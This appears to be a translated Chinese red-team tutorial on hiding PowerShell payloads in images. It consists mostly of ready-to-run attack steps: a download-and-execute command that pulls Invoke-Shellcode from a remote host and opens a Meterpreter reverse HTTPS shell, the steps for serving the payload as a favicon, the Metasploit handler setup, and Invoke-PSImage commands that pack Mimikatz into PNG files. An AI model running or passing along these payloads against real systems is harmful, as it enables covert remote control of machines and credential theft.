【基础篇】————20、隐匿攻击之Images

迈克尔·斯科特开发了一个python 脚本,可以生成一个图标图像,并将PowerShell命令嵌入到该图像中。第一步是将命令写入文本文件。

echo 'IEX((new-object net.webclient).downloadstring("http://192.168.1.171/tmp/Invoke-Shellcode.ps1"));Invoke-Shellcode -payload windows/meterpreter/reverse_https -LHOST 192.168.1.171 -LPORT 443 -force' > shellcode.txt

【基础篇】————20、隐匿攻击之Images

下一步是创建包含嵌入式有效负载的favicon,启动apache Web服务器并将图标移动到Web服务器目录。

python create_favicon.py shellcode.txt evil.png
service apache2 start
mv evil.png /var/www/favicon.ico

【基础篇】————20、隐匿攻击之Images

一旦命令在目标主机上执行,Metasploit模块multi / handler可用于接收连接。

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST XXX.XXX.XXX.XXX
set LPORT 443

【基础篇】————20、隐匿攻击之Images

获取-FaviconText PowerShell脚本将下载的图标到一个临时目录,这将像素转换回字符以执行有效载荷命令。

Import-Module .\readFavicon.ps1

Get-FaviconText -URL http://192.168.1.171/favicon.ico -WriteTo $env:TEMP

【基础篇】————20、隐匿攻击之Images

GET-FaviconText脚本实际上是需要对目标执行的植入物。即使未在Web目录上设置访问此文件的权限,图标内的payload命令仍将运行。

【基础篇】————20、隐匿攻击之Images

Meterpreter会话将打开,目标可以通过Metasploit进行控制。

【基础篇】————20、隐匿攻击之Images

但是,也可以使用其他类型的图像(如JPG),以便不仅嵌入命令而且嵌入完整的PowerShell脚本,以便执行各种其他后期利用活动。Barrett Adams开发了一个PowerShell 模块,可以使用PNG文件的像素来嵌入PowerShell脚本。该模块还将生成oneliner命令以供执行:

Import-Module .\Invoke-PSImage.ps1

Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\77.jpg -Out .\mimikatz.png -Web

【基础篇】————20、隐匿攻击之Images

执行oneliner将导致通过存储在Web服务器上的PNG文件运行Mimikatz。

【基础篇】————20、隐匿攻击之Images

或者,此脚本可以为本地托管的图像生成oneliner。

Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\77.jpg -Out .\mimikatz2.png

【基础篇】————20、隐匿攻击之Images

运行该命令将从PNG文件中执行Mimikatz。

【基础篇】————20、隐匿攻击之Images

结论

图像可用于执行shellcode和脚本以及执行其他活动。可以使用的字符数有限制,因此只有具有大量像素的图像才能携带脚本。这是一种有趣的隐藏有效负载的方法,以及在网络中禁用PowerShell时可以防止的一种威胁。

参考